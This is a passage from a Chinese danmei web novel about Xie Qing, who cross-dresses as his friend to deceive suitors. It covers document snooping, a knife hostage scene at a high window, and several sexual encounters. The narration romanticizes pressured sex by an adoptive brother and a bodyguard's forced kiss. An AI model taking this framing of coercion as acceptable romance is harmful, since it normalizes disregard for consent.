谢清捏着嗓子叫了几声,没人应。他便悄悄把门开了一条缝隙望出去。 秦霄不在,大概是出去给他买换洗的衣物了,谢清不客气地推门走出来直奔他的衣柜,翻出了件干净的衬衫套上。 接着他打开了Phantom的探测仪在房子里转了一圈,确认一切正常后,又有点想笑自己草木皆兵。 正常人谁在自己家装隐形摄像头的? 谢清想给秦霄发消息打发他去远一点的地方买东西,想起自己并没有加他,就作罢了。 反正应该没那么快回来。 他光着湿哒哒的腿爬上了秦霄的转椅,翻开他的电脑。 很好,没有密码。 电脑处于待机状态,一打开就是会议室的界面,十几个窗口都有人在对着屏幕讲话,谢清吓了一跳,但很快他发现秦霄这儿处于黑屏闭麦状态,稍微松了口气。 他很快找到了秦霄的工作文件夹。 秦霄一看就是个很有条理的J人,命名格式都规规整整,年份、项目标的一清二楚,找起来非常快捷。 谢清稍微检索了一下,就找到了Phantom想要的数据的那个项目。 他飞快浏览着项目底下的若干文档和表格,不太确定哪一份是实验结果,干脆拿出手机预备先拍下来。 “咔嚓——”拍到第五张的时候,房门把手骤然一动,门打开了。 秦霄提着个简单的手提袋,半个身子跨进来时就愣住。 谢清脸色大变,鸡皮疙瘩爬上皮肤,动作也完全僵住了。 “我,我在……” 秦霄的第一注意力却落在了他半透的衬衫上,他的衬衫,由于身高差,穿在谢清身上堪堪遮住大腿根,可谢清偏又用了个不太谨慎的坐姿,导致底下浑圆的弧度一览无余,衬衫的一部分因水痕而紧贴皮肤,甚至能隐约看见他胸口…… 谢清猛地捂住了胸:“你看哪儿?” “抱歉抱歉。”秦霄转过脸,把手提袋放在了地上,“你、你可以换上这个。” 谢清迅速拿出里面的衣服,套在了身上,然后才从里面把衬衫脱掉甩在了地上。 秦霄居然买了套水手服…… 谢清穿上,脸色依然不是很好看。 一边恼怒想发作,一边又在想怎么解释刚才的事。 秦霄看了看地上半湿的衬衫,又看看脸色泛红的谢清,不觉口干舌燥,拿起水杯喝下大半杯才好点。 他走近自己的电脑,谢清早就把刚才的文件夹关掉了。可他在键盘上敲了个快捷键就又给打开了。 谢清更加慌张:“我……我有点无聊,随便翻翻,看到这个觉得很有意思,想拍下来学习来着。” 他垂头并手站在椅子边,好像一个等待挨训的学生。 秦霄不紧不慢地一页页浏览完,才转动转椅面向他。 谢清捏紧了手机,脑中飞速思考着对策,手心都冒汗了。 秦霄从容不迫地开口:“原来是这个项目,是我去年经手的,收益很可观,你有学习的想法很好啊。给我个邮箱,我叫助理把完整数据发给你吧。” 谢清没想到是这个走向:“真、真的?” “当然了。”秦霄笑笑,“有看不明白的地方可以来问我。” 谢清高兴地都忘了夹嗓子:“太好了。”声音一出自己先变色了,赶紧调整回来,“谢谢霄哥哥。” 秦霄:“嗯,你现在就把邮箱发给我吧。” 谢清看着手里的手机微微一滞:“好。” 他略微侧过身子避免秦霄看到他的屏幕,然后迅速给林徵柔留言。 秦霄看了看他,不知是调侃还是怀疑:“怎么了,聊天的人太多,找不到我了吗?” 谢清忙说:“没有,你是我的置顶呀。就是网速不太好。” “是吗?置顶我?” “当然了,我们不是在交往吗?”谢清见他倾身过来,迅速放下手机笑道,“我看看你的置顶是谁?” 他抱住秦霄的胳膊把脑袋凑了过去,秦霄没介意,转过手腕给他看,是一个工作群。 甚至没开免打扰! 谢清有些佩服,松手回去坐正了。 秦霄却若有所思:“这也是恋爱的必修吗?”说着,他便也把林徵柔设成了置顶,笑着给谢清看。 “对了,刚才在外面发给你的消息,你怎么没回呢?我本来以为是你没看到。” 谢清哪知道他发了什么,谎言张口就来:“不回是因为,想当面见你啊。” 秦霄闻言怔了怔。 谢清对林徵柔迟钝的反应有些着急,频频看向手机,偏巧这时候白年的骚扰电话又打了进来。 他随手就划掉了。 其实最好的办法是置之不理,如果挂断,反而告诉对方自己就在手机旁,果然白年的下一通马上追进来。 秦霄:“不接吗?” 谢清有点心虚:“是诈骗吧。”他侧过身接了起来,准备告诉对方别再打了。 白年的声音在接通的瞬间就响起来:“宝宝,我真的好想你……”他喝醉了,说话都大舌头。 关键是谢清没想到他声音这么大,不知道秦霄有没有听到!他有些慌乱地瞥了秦霄一眼:“你打错了!” 秦霄脸上看不出什么变化。 “是垃圾电话。”谢清说。 终于,秦霄手机一震,是林徵柔把谢清的邮箱发过去了。 “啊,网速终于通了。”谢清说。 “好。”幸好他没怎么怀疑那通电话。 秦霄低头扫了眼手机,又定定看向谢清,微微笑着,眼睛一眨不眨。 谢清:“?” 他低头检查了一下衣服,水手服的上衣很短,露出了一截白玉似的腰,短裙也不比那件衬衫长到那里去,谢清不自在地理了理:“怎么了,很奇怪吗。” “没有,很好看。”秦霄停顿了一会儿,才说,“这次不奖励我吗?” 谢清歪了下脑袋,随即笑了,一伸腿跨坐在了他身上,手臂圈住他脖子,就要往额头上亲。 可秦霄扳住了他的下巴。 谢清不解其意,鸦羽似的睫毛上下扇动,好像扫在人心上,痒痒的。 这么近的距离,谢清同样放大地看着秦霄含笑的眼睛,对方的视线快速往下扫了眼,问:“可以吻你这里吗?” 拇指摩擦了一下他的嘴唇。 谢清眨眨眼,眼神邀请。 秦霄声音喑哑:“你可以接受法式吗?” 谢清嘴唇微微抿了一下,少倾,慢慢闭上了眼睛。 秦霄的吻比谢清想象的要灼热,他自称没有恋爱经验,也不知道哪学来这么灵巧的挑逗方法,谢清没一会儿就被亲的招架不住,想退开时却因为坐在对方腿上,后背悬空,不得不拽住了秦霄的前襟,倒好像在欲拒还迎。 秦霄追着他身体前倾,落在他后背的手也不断重心下移,碰到他的腰时,谢清感觉对方的手指都像着火了一样。 奖励戛然中断,谢清从他腿上跳下去平复着呼吸。 他懂得见好就收的道理,理了理头发,说:“我该回家了。” 秦霄眸光深沉地看了他一会儿,才出声:“我送你。” “不用。” 谢清坚持不让他送,自己火速搭了个车溜走了。 秦霄总觉得“林小姐”有些若即若离,不过没关系,筹备婚礼是很快的事。成为夫妻后,就不必像现在这样了。 回到房间,谢清穿过的那件衬衫还在地上扔着,他弯腰捡起来,闻见上面沾染了香香的气味,不由自主又看向了转椅。 转椅已经空了,但在上面坐过的人好像还在脑子里。 他走过按着扶手坐下,沉思了一会儿,给方家打去了电话。 寒暄了两句以后,他便进入正题,语气半歉疚半强势地回绝了那个联姻的邀请。 方父显然不肯相信:“秦先生,为什么?难道是我开出的条件还不够好?” “并非如此。”秦霄指节轻轻敲打着桌面,好像也有点琢磨不透自己的想法。 “那究竟是因为什么?给我一个理由。” 半晌,秦霄说:“我好像……恋爱了。” 挂了电话,他没来由笑了一下,余光瞥见敞开的洗手间,想起谢清用过浴室,湿掉的衣服走得时候似乎忘记了。 他走到浴缸边,视线扫了一圈,突然凝固在垃圾桶处。 嘴角的笑容变得有些奇怪。 他发消息给林徵柔:【宝宝,你似乎有东西落在我家了。】 这一次对方难得回复了。 【扔掉就好。】 第40章 第 40 章 秦霄和林徵柔的婚礼请帖发来了谢家。 谢清是在谢呈冰书房的桌子上看到的, 烫金的对纸展开是一个红双喜,谢清给林徵柔拍下来,脸都快笑酸了。 这消息很快就在圈子里传遍了, 不过林徵柔那边的宾客是她自己选的,当然都提前打好了招呼, 没有飘进林家人耳朵里。 “什么事情这么好笑?”谢呈冰搂着谢清的腰,从他手中抽出了请帖, 看了半天并没有看出什么名堂。 谢清被迫坐在谢呈冰腿上陪他工作, 想到明天就可以收网了, 被强迫的糟糕心情都被冲淡不少。 “笑秦霄不自量力啊,林小姐怎么会喜欢他呢?” 谢呈冰:“你怎么知道?” “我就是知道。” 谢呈冰扔开请帖, 在办公软件上通知助理替他准备贺礼,谢清按住了他操纵鼠标的手:“不用了哥, 我猜这个婚礼一定是办不成的。” 谢呈冰还是问:“你怎么知道?” 谢清一样的回答并不能说服谢呈冰,他干脆把那张请帖丢进了垃圾桶:“我说你别去你就别去,你不是喜欢我吗, 听不听我的?” 谢呈冰的手沿着他的脊椎一路摸上来:“听, 别乱扭。” “谁扭了?”谢清还是生气了。 谢呈冰觉得他生气起来也很好看,手上的工作被晾到了一边,双手抱住了谢清。 谢清顿时觉得不太妙:“你要干嘛?看你的报表。” “等下再看。”谢呈冰箍着他的腰使他更加贴紧自己,“我又不是柳下惠。” “你……也不是我要往你怀里坐的, 知道不是, 下次就别这样!” “什么时候和他分手?”谢呈冰突然发难。 谢清因为这段时间都在和秦霄演戏, 差点以为谢呈冰发现了什么, 背脊一僵, 随即反应过来他说的是白年。 身子这才重新软下来。 “一提他你就紧张。”谢呈冰不高兴,手也往更危险的地方去。 “明、明天就分了……拿出去……” 谢呈冰呼吸一急:“没有骗我?” “当然没有!明天, 你不许再让我吃那个才出门了。”谢清埋怨地瞪他一眼。 “你丢了那么多个,我还没找你算账。” 谢清很快被折磨的声音里带了哭腔:“不就是弄丢了那破东西,我人都好好的回来了,你还说什么。” 谢呈冰想了想,“嗯”了一声。 人在就行。 但还不够,心也要在。 谢呈冰起身拨开电脑,把人放在了办公桌上。 谢清:“你、你能不能学习一下竞争对手,秦霄他说他就从来不在办公地点干不正经的事!” 谢呈冰:“你怎么又知道了?” 意识到说漏嘴,谢清慌忙找补:“采访里看到的,总之是他亲口说的。” “采访里说这个,本身就很不正经了。”谢呈冰论断。 谢清哑口无言。 办公桌终究是被用来胡来了。 谢呈冰时间太久,谢清到后来就很容易被逼哭,眼泪砸在昂贵的桌面,谢清叫的自己听了都吃惊,他心想,自己究竟是在忍辱负重,还是已经潜移默化的接受了? 要不然为什么谢呈冰这样胁迫他,他的报复最多也只是在对方背上挠几道,没有想报复白年时那种愤怒,甚至还没有想帮林徵柔报复秦霄那种乐趣。 ……他只是在想着,要是哥哥稍微禁欲一些就可以了。 收网的这天,谢清光明正大换回男装来了秦霄的公司。 他把白年也约来了这里。 连隐的款项已经到位,林徵柔帮他找的律师也开始行动,谢清告诉Phantom不必再维护那个虚假的官网。 白年说不定已经发现了端倪,收到他的“约会”邀请时,嗓音低沉,轻微发颤:“清清,你是不是……” “怎么了?” “没什么,我会来。” 谢清和林徵柔一起进的公司,前台认出了谢清,秦霄后面又带他来过几次公司,全司上下都知道这个“林小姐”就是未来的老板娘了。 按说当然不用过问就会放行,可是…… 前台反复揉了揉眼睛,不太敢相信地问谢清:“林,林小姐……您是林小姐?” 谢清身边的林徵柔摘下墨镜,阳光灿烂地挥挥手:“对啊,我是。” 两人在前台凝固的表情中一同进了电梯。 秦霄还在开会,听说女朋友来找他,竟然在发言时当众走了两次神。 谢清占用了另一间无人的小会议室,没过多久白年来了。 “坐。”谢清似笑非笑地示意自己对面的位置。 白年表情有些严肃,落座后低着头,过了会儿状若平常地抬头笑道:“怎么想起来秦氏?是有什么特别的事情吗?” 仔细看,他的笑容其实有些勉强。 谢清:“法院传票收到了吗?” 白年的笑容迅速冷却下去。 “今天没有被海外的电话打爆手机吗?听说你的公司麻烦不小呢。” 白年本来抱着一丝希望,认为麻烦不来自于谢清的手笔,如今气色肉眼可见的灰败下去。 “清清,你要这样对付我吗?” “是你先愚弄我的,还威胁我坐牢。”谢清说,“我现在只不过是一点点还击罢了,大牢就留给你蹲吧。” 林徴柔在一旁听到都不禁侧目。她只知道谢清咨询律师是因为被人坑了,没想到那人就是对面这个看上去文质彬彬的青年,而且一坑坑这么大。 白年的官司不一定会到坐牢的地步,但海外的公司确实沾染上不小的麻烦,跨国的诉讼,谢清要让他离开这里,去国外折腾。 今天白年确实接到数通电话催他尽快回去,连隐也得知了真相,别说帮他,不弄死他就算好的。 可他不肯走。 “清清,你真的对我没有一点留恋吗?”白年蹙眉,“如果没有那件事……你不是也已经对我……” “事实就是你威胁了我,我可是个睚眦必报的坏小孩,你早该料到今天。” 白年神色痛苦:“我没有真的要让你去坐牢或者赔钱的意思,我只是……” “我只是叫你过来通知你的,你可以走了。”谢清打断他。 林徴柔默默吃瓜,突然注意到门口好像有什么动静。 秦屿就在这时破门而入,他在门口偷听有一阵了,听到白年威胁过谢清,终于冲进来:“好啊,你居然算计我老婆!宝宝,用不用我帮你揍他?” 谢清拧着眉毛看向他:“谁喊你了?” “我听说你来公司找秦霄……我知道这是借口,你是来见我的对不对?” 白年一听,满眼戾气:“秦霄?清清,你什么时候和他又搭上关系了。还有这个秦屿,你不是早和他分手了吗!” 秦屿:“我和老婆的事用你多嘴?你是什么东西?” “我才是他男朋友!” “今天就不是啦。”谢清笑道。 林徴柔:这瓜是我能在现场吃的吗? 白年气息一窒:“清清,我不能走,要走,我也要带你一起走,你还利用了连隐,你知不知道惹怒他的话后果会很严重?” “你和他联合起来骗我,我怎么可能漏了他?”谢清冷笑。 秦屿:“什么后果?他要是敢来对付我老婆,看我怎么收拾连家。” 白年猛地站起身,秦屿立即高声叫保安进来把人轰出去。 保安冲进来的时候纷纷忍不住偷看谢清,他们只知道谢清是贵客,却不明白“林小姐”怎么摇身一变成了个男人。 保安正要上前架住白年,没想到白年突然从口袋掏出一把寒光凛冽的小刀,动作迅疾如电。刀锋一闪,最前面的保安胳膊上立即被划出一道血口,血珠沿着制服的袖口滚落。 没有人料到白年竟带了凶器,更没有想到的是,他身形一转,刀尖直指谢清,瞬间逼近。 秦屿眼瞳骤缩,惊惧地大喊:“拦住他!!” 可是,还是晚了一步。白年以迅雷不及掩耳之势,将那沾血的短刀架在了谢清的脖颈上。刀刃贴在皮肤上,冰冷刺骨。 秦屿脸色惨白,双手举起做出平息的姿势:“你冷静点!别冲动!” 保安已迅速反应过来,堵死了出入口。白年目光冰冷,将谢清牢牢挟持,缓步后退。他的动作流畅却透着一股决绝之意,谁也不敢轻举妄动。 林徴柔见白年注意力不在自己身上,弓身伏低,试图绕到他身后偷袭。然而,她刚迈出一步,白年的目光便锐利地扫了过来,冷声呵斥:“都退后。” 谢清被白年挟持着来到了窗边。他的背脊贴上冰凉的玻璃,高空风声从敞开的窗缝灌入,像利刃一样刺破神经。十八楼的高度宛如地狱,风带着无形的威压,仿佛下一刻就会将人吞噬。 谢清咬牙压住颤抖,声音低沉却透着逼迫:“白年,你知道诈骗罪和绑架罪的量刑差距有多大吗?你现在放手,我就当你一时糊涂。” 秦屿立刻跟上话头:“对!监控可以删掉,我什么也不追究,你放开他!” 白年贴近谢清的耳边,低笑出声:“你都不要我了,我在乎那些干什么呢?” 他的手一用力,谢清被迫后仰,头发微微散乱,脖颈在刀锋下暴露无遗。谢清吞了口唾沫,手指悄悄攀住窗沿,风声在耳畔呼啸得愈发凄厉。 “你……你别激动,我可以撤诉的,你看行吗?”谢清的语调带着讨好,却掩不住颤抖。 “你从小就最会花言巧语了。”白年故意用冰冷的刀面贴了一下谢清的皮肤,有些变态的欣赏着他的战栗。 谢清闭紧了眼睛:“你不会是想从这跳下去吧?我们两个都会死的……” 白年往下看了一眼,笑容不减:“你知道吗,从你离开福利院的那天起,我就常常幻想这个场景。当时为什么没有直接抓住你,从楼上跳下去呢?这样,谁也别想抢走你。” 谢清瞳孔剧烈扩张,眼泪顺着脸颊滑落。他强压的情绪终于在这一刻崩溃,胸腔的喘息凌乱得像溺水:“你……你疯了……” 秦屿心痛地捏紧了拳头,强迫自己冷静下来,一滴冷汗从他额角滚落。 谢清情绪释放了片刻,极力告诉自己镇定:“年年哥哥,你不要这样好不好……” “你看,我不这样,你怎么还会叫我一声哥哥呢?”白年眼底是与行为不相称的温柔,“一起跳下去不好吗?去哪里,都有我陪着你。” 谢清的呼吸越来越急促:“不,不……” 他不敢相信白年居然真想要他的命,他的报复又没有把对方逼到走投无路!已经够仁慈了!疯子,疯子! 谢清声音哑得几乎听不清:“年年哥哥,你不是说喜欢我吗?你舍得这样对我吗?” 白年的眼神晃动了一下,带着些许复杂:“当初……就是因为不舍得,才害你被谢家人接走,和我分隔了那么多年啊。” “那,我们不分手,不分手了行吗?”谢清眼眶噙着泪,小心翼翼地说。 “真的吗?” “真的呀。”谢清努力朝他看去,尽量释放出温情,不透出一丝一毫的怨恨,仿佛只有关切与理解。 “我已经知道你有多爱我了,所以不分手了,我们好好过日子,好吗?” 白年手中的刀不觉松动了几分,眼神也不再那么锋利。他轻唤了一声:“欣欣……” 就在这一瞬间,秦屿猛地从旁冲了上来,身影如同一道利箭。他的腿精准踢在白年的膝关节上,短刀险险从白年手中滑落。秦屿不顾刀锋割裂的疼痛,徒手死死抓住了刀身。 “宝宝快走!!” 谢清在他抓住刀锋的一刻瞳孔骤然扩张,同时也知道机不可失,不做他想向前跑去。 保安趁机蜂拥而上,将白年压倒在地,夺下凶器。 白年眼神一瞬间变得空洞,在谢清跑出的那一刻,他彻底放弃了挣扎,任由人将自己制服。 林徴柔早已悄悄报警,刺耳的警笛声从楼下传来,保安押着白年出了会议室。 谢清腿一软跪倒在地,秦屿急忙冲过来,心疼得声音发颤:“宝宝你有没有受伤?他有没有伤到你?” 谢清摇了摇头,但脑海里还回荡着白年被带走前,那最后一眼复杂的目光。 林徴柔走上前,轻轻拍了拍谢清的肩膀:“没想到你招惹上这种桃花,幸好福大命大。” 她现在觉得秦霄那种程度的渣男在对比之下都有点眉清目秀了。 谢清这时才想起秦屿手上的伤:“我看看你的手,公司有医疗箱吗?得快点处理一下,你刚才不要命了?” 秦屿掌心血红一片,肉往外翻,伤口之深,已经看得见森森白骨,白年但凡再用力一点,他的手就要断成两截了。 秦屿放松下来才察觉自己的后背已经被冷汗打湿:“当时没想那么多,就想救你,你没事就好。” “傻子。”谢清皱眉,“快点去医院,这么严重,肯定要缝针的。” 他扶着桌子站起来,催促秦屿也动起来。 刚起来,门口又闹哄哄一片,有人惊呼:“秦总,秦总别急,林小姐已经没事了……” 林徴柔和谢清对视一眼,同时想起今天还有另一桩事要收尾。 秦霄从会议室出来就看到走廊混乱不堪,走近一听,员工正在议论,说是隔壁会议室,有歹徒持刀绑架了秦总的贵客。 秦霄当即拨开人群跑向会议室。 “林……” 看见谢清的那一刻,他的焦灼和担忧吞回了肚子里,与此同时,生出一股新的不祥预感。 【END】 第52章 第 52 章 夜色微凉, 谢请被谢呈冰牵着并肩走在新酒店的走廊。酒店灯光昏暗,照在两人身上,拖出两条长长的影子。 谢呈冰一如既往的沉默, 但谢清光是看着他的影子,都能感觉出他周围那种微妙的气息。 尽管甩掉连忆心后的一路上, 他都没有再出现情绪波动,但略显生硬的步伐还是暴露了他的些许不满。 谢呈冰打开房间的门, 动作流畅自然, 声音也好似漫不经心响了起来:“这段时间, 你和他们混得很不错?已经冰释前嫌,既往不咎了?” 谢清顿了一下, 小声说:“是又怎样。” 谢呈冰回头看他,谢清怂了, 改口:“只是他们单方面缠着我罢了,我只给了你机会,你还有什么不知足。” 谢呈冰叹了口气, 进屋除下外套, 低头回了几条工作信息,静音了手机放在一边。 “衣服脱掉,我检查一下。” 谢清像只炸毛小猫:“又来,亏我以为你已经不变态了, 你是我什么人啊就检查!” “未婚夫。”谢呈冰说, “以后就是丈夫。” “你也有这么耍无赖的时候?!”谢清鼓着嘴巴。先说给点时间考虑, 然后默认是在谈恋爱, 没否认恋爱, 就又默认会结婚,还真是自洽的好逻辑呢! 他拔腿就要往套房里走, 被谢呈冰拦腰抱住,在他怀里张牙舞爪了半天,最后被按在了床上。 “不是耍赖,我会遵守我的承诺。只是……不代表我会喜欢你和别人那么亲近。” 谢呈冰俯身,深邃的眼眸中藏着汹涌压抑的情绪,但动作缓慢自然,带着试探触碰谢清的侧腰, 谢清立即抓住了他的手:“别……你手机亮了,快去接。” “不用管。”谢呈冰强行撩起了他的衣角,微凉的指尖触碰到腰部敏感的软肉,刺激的谢清一哼。 谢呈冰还要继续,房门却被敲了敲,宋岩低沉的声音响在门外,打破了一丝旖旎。 “大少爷,老太爷的电话,找您。” 谢呈冰动作停顿了一下,谢清身体也变得有些僵硬。 “……去接吧,别让爷爷等太久。”他推了推腰上的手臂。 谢呈冰站直身体,手不由自主从谢清的身上离开,抿了抿唇,像是要说些什么,但最终只是垂下眼帘,藏起来眼底的疲惫。 “嗯。” 谢呈冰拾起手机去了走廊,也许是不想谢清听见,走得很远。 宋岩进来了,在谢清有些乱的衣衫上停留了一瞬。 谢清连忙整理了一下坐起来:“家里现在是什么情况?” 宋岩沉默片刻,说:“大少爷为了找你,把许多重要事务推到了一边,老太爷非常不满意。” 谢清的心微微一颤。 “爷爷的态度很强硬吧?” 宋岩轻轻点头,走近了,摸了摸谢清的头发,像是安慰。 “大少爷还并不知道老太爷下令让你走的事……他为了老太爷的身体,也没有提和你的事,原本相安无事,不过为着放下公务出国找你,两人一直默认不提的事被搬上来,老太爷逼得很紧,苗头不太好。” 谢清没再出声,抬头看向窗外,天际的云层缓缓飘动,玻璃窗映射出他迷茫的脸庞。 过了会儿谢呈冰回来了,推门而入时,看到宋岩站在谢清身边,眼神瞬间冷了下来。 谢清注意到他靠近,语气有些不自然:“电话打完了?” 谢呈冰没有立即回答,而是直接伸手轻轻拂过谢清的脸庞,指尖带着漫不经心的力度,顺着他的脖颈滑落到肩线。 再简单不过的触碰,可却透着一股不容拒绝的霸道,和刻意的亲密,仿佛在宣示着什么。谢清心跳莫名变了速度,不自觉后退了半步,但却被牢牢抓住了手腕。 谢呈冰的掌心温度不知何时变得滚烫,覆在他纤细的手腕上,微微用力,带着一种侵略性。 “不用在意电话,继续刚才的事情吧。”谢呈冰语气平静,手指摩挲着谢清的肌肤,旁若无人的越靠越近,身体几乎贴在了一起。 宋岩眉头紧皱,看着谢呈冰的动作,眼中闪过一抹复杂的情绪。他的唇紧抿成一条线,没有出声,但微微绷紧的身体透露出隐忍。 谢清一时分辨不清他是不是真的要“检查”,要怎么检查,紧张之下咬了咬唇,试图将手从谢呈冰的掌心中抽回,但谢呈冰的力道更大了些,带着他重新朝床边靠近。 “哥,别这样……”谢清憋红了脸。 谢呈冰不理会他的抗拒,手指轻轻抬起他的下巴,带着某种不易察觉的温柔,几乎就要亲上来。 谢清快速瞟了宋岩一眼,脸上略过一丝不自在的尴尬:“岩哥,你先出去吧。” 宋岩沉默了几秒,眼神复杂。有一瞬间,他似乎想要说些什么,眼底泄露出一丝挣扎。然而看到谢清恳求的表情后,还是低头沙哑地应了一声,步伐沉重地走向门外。 随着房门轻轻关上,房间里的气氛顿时变得更加暧昧紧张。谢呈冰的动作变得肆无忌惮,手指顺着谢清的锁骨一路滑下,呼吸在耳畔起伏。 他太了解谢清身体的敏感之处了,甚至比谢清自己还了解,三两下就点着了空气。 谢清的心跳不由自主加快,身体记忆帮他回忆起了在家、在车上、在办公室……那些荒唐的回忆。 他微微后退,但被谢呈冰按在床上挣脱不开。 “你躲什么?”谢呈冰声音低沉而蛊惑,轻舔了一下谢清的耳垂,带来一阵轻微的战栗。 谢清呼吸急促了许多,别过头,尽量平复心绪:“你答应过我,不会逼我。” “我没逼你,”谢呈冰的手指勾住谢清的下巴,强迫他与自己对视,“你也喜欢我的,对吗?身体的反应骗不了人。” 谢清想说照他这么弄,对谁都会有反应。但也知道这么说吃苦的只能是他自己,因此咬了咬唇肉,咽下了委屈。 碍事的被褥被撩到一边,谢清徒劳挣扎两下,抓在谢呈冰耸起的后背肌肉上,留下两道红痕。 后面的话都被咬碎在唇齿间。 谢清怕谢呈冰没完没了,第一次过后就装睡过去,谢呈冰果然忍住没有继续,抱他去浴池清洗了一遍,叫来酒店保洁更换了床单。 之后谢呈冰接了个电话就出门了。 谢清也从装睡到真的困意席卷,睡了过去。 第二天,阳光透过薄薄的窗帘洒进来,谢清才慢吞吞醒过来,揉着腰从床上爬起来,发现身上都是青青紫紫的痕迹,不疼但看上去也够吓人的,谢呈冰总要通过用力来确认彼此的温度和感觉。 除了脸上,哪里都是使不完的情绪。 下床在房间了找了一圈,谢清才气恼地发现,谢呈冰把他衣服全拿走了,连洗手间的浴袍都没留下。 谢呈冰不想让他出门,但显然也不想违背“不强迫他”的承诺,没带走他的手机。 简直像在耍小脾气。 无奈之下,谢清拿起手机拨通了宋岩的号码。电话响了几声,很快就接通了。 “岩哥,帮我带一件衣服上来。”他一开口,连嗓音都是沙哑的,清了清嗓子,脸色有些发热。 不久后,宋岩敲响了房门,手里拎着一件新衣服。谢清卷着被子开门接过,刚准备说点什么,却发现宋岩的目光定在他裸露的肩膀上,眼神有些阴沉。 宋岩的视线在谢清的脖颈、锁骨处的痕迹上停留了片刻,嘴角紧绷,仿佛在极力压抑心中的不满。 他上前一步,动作忽然变得霸道起来,手臂一揽,将谢清紧紧扣在怀里。谢清还没反应过来,宋岩已经低下头,吻住了他的唇。 手提袋掉在地上,谢清瞪大了眼睛,没想到宋岩会在这个时候失控。这个吻带着强烈的占有欲,仿佛在宣泄心中的不甘与愤怒。 谢清本能地推了推他,但宋岩力气很大,圈着他的手臂坚如磐石,根本不给他挣脱的机会。 片刻后,宋岩终于松开了他,眼中依旧燃烧着一丝炽热,沉声问:“昨晚过的很快活?痕迹这么明显。” 谢清有些恼火地擦了擦嘴唇:“出去吧,我要换衣服。” 宋岩忽然抓住了他的手腕,动作比平时更急促,带着无法掩饰的醋意。 “我来帮你。” 谢清原本想拒绝,但见到宋岩目光黯沉,手也在微微颤抖,心中泛起些许无奈。 他叹了口气,任由宋岩动作。 宋岩带茧的指腹粗糙,动作却意外轻柔,缓缓将衣服套在谢清身上,低头扣衬衫的纽扣。 指尖每次碰到谢清的皮肤,都仿佛压抑着某种情绪。扣纽扣的动作倒像是在一点点夺回自己的领地。 谢清始终没吭声,宋岩帮他系完最后一个扣子时,忍不住低声问:“他昨晚有没有……弄疼你?” 谢清摇摇头。 宋岩的手依然没有松开他的衣襟,反而握得更紧了一些,谢清叫了他一声,他才勉强压下不快,手指从谢清的领口缓缓滑落,放开了他。 “秦霄和秦屿已经找到了这家酒店,大少爷不在,你最好不要出门,避免正面碰上。” “不是还有你吗?”谢清声音里带着些倦意,“我想出去吃点东西。” 海岛就这么大,被找到也是预料之内的。谢清早想通了,随便他们怎么纠缠,自己玩自己的。 他们之间相互制肘,自己反而安全,不会被谁突然又绑起来。 宋岩知道说服不了谢清,只好点头:“好吧,我陪你。” 他看着谢清的背影,眼底有些哀伤,但很快化为温柔与坚定:“只要你还需要我。” 出了酒店大门,谢清刚迈出几步,就听见转角传来秦屿略显暴躁的声音。 “爸,这话你去和秦霄说吧。你好好管管他,让他别抢我老婆,公司我不要了都给他!” “什么话?当然是我的真心话啊……” “喂,秦霄,爸让你接电话。” 秦霄直接划断了秦屿的通话,走过转角,恰好和谢清打了照面,他原本死气沉沉的面容瞬间一亮。 秦屿先一步跑了上来,确切地说是他牵着的金毛狗。 那条狗一看到谢清就很兴奋,摇着尾巴汪汪叫个不停。 谢清弯腰摸了摸小金毛的脑袋,心情被它的热情感染,嘴角微微上扬。 “宝宝!你看,我把狗狗照顾的很好的。昨天的事你千万别放在心上。” 秦屿话音刚落,秦霄也微笑走近了,目光在谢清脸上停留一瞬,随后开口:“听说昨天你被你哥带走了,没想到他挺重视你这个弟弟。” 他显然还不知道谢呈冰对谢清的真实想法,语气相对轻松:“这会儿出来,是饿了吧?我已经订好了附近最好的餐厅,都是你喜欢的菜式,不如直接过去。” “不用麻烦你,我自己也可以随便找家餐厅。”谢清淡淡回应。 秦屿闻言也赶紧凑上来,傻里傻气补充了一句:“宝宝,干嘛麻烦你自己!反正秦霄也订了,就花他的钱就好了。” 宋岩在谢清身后发出轻声嗤笑。 秦霄的眼神轻巧地在他身上扫了一下,语气中带着一丝探究:“这不是你哥的保镖吗,怎么还留在这里?难道谢呈冰也暂时不打算回国了?” 秦屿也有同样的疑问,早在看到宋岩的时候他就一肚子火,碍于谢清在笑着逗狗才没有发作,这会儿更是忍不住拈酸吃醋:“他不跟着自己的主人,跟着你干什么?” “两位还真是咸吃萝卜淡操心。”宋岩声音不大,语气却刻薄冷峭,“大少爷回不回国,我跟不跟着小少爷,都是我们自家的事,轮不到外人费心。” 秦霄听出弟弟语气里的酸意,重新打量了宋岩一眼:“我们只是关心谢清而已。” 宋岩讥讽道:“关心他?还是担心你们自己没机会?要真有本事,也不至于今天站在这里,等着看别人脸色。” 秦霄的笑意微微收敛了些,镜片后的眼神变得锐利。他现在确实有点顾虑谢呈冰的意思,毕竟那是谢清的哥哥。 但知道真相的秦屿就不同了,他脸色变来变去,可有的话却不便明说。 谢清对身边的闹剧仿佛一无所知,接过了金毛狗的绳子,适时岔开话题:“走吧,先去餐厅。” 其余三人对视一眼,虽然各怀心思,但还是默默压下冲突,跟在了谢清的身后。 最后还是去了秦霄订的那个餐厅。 秦屿说的没错,他愿意花心思花钱,那谢清自己也不用麻烦了。 落座以后,谢清让狗狗趴下,弯腰把绳子绕在桌脚,秦屿殷勤的想上去帮忙,可见谢清俯身,宽松的衣服坠下去,目光倏然一顿:“宝宝,这是什么?” 谢清直起了身体,秦霄的目光也投过来。 “是什么?”秦屿颤声问。 “你想的那个。”谢清面无表情地说。 秦屿脸色霎时一黑:“是谁?!我昨天就离开那么一会儿……是秦霄这个死人是吧?!”他先想到的是昨天给谢清打电话,秦霄在他房间里接的。 谢清:“我哥。” “他、你们……”秦屿紧接着也想到了谢呈冰,铁青着脸说不下去。 秦霄则是完全没反应过来,罕见的宕机了:“什么?谁?” 谢清摊开菜单先要了杯冰镇果汁,还要继续翻主菜,秦霄蓦然抽出菜单站了起来:“你刚才说谁?” 谢清抬头继续维持面无表情。秦屿愠怒夺回菜单:“跟你有什么关系,我老婆很饿了,你别碍事。” 服务员端了杯子过来倒果汁,见秦霄站在那里,想绕一下,刚往前一走,秦霄却也动了,他蓦然上前扣住谢清的手腕:“你和他……你们……他不是你哥吗?” 服务员被撞的手一抖,果汁洒出来泼在秦霄后背,衣服被染黄了一大片,贴着皮肤,服务员匆忙道歉,但秦霄一点反应也没有,直勾勾看着谢清。 秦屿愈发不高兴:“你不吃饭就滚蛋。” 秦霄看着他:“所以你也知道?” 秦屿撇嘴:“都是他强迫我老婆的!行了别提这个了,烦不烦。” 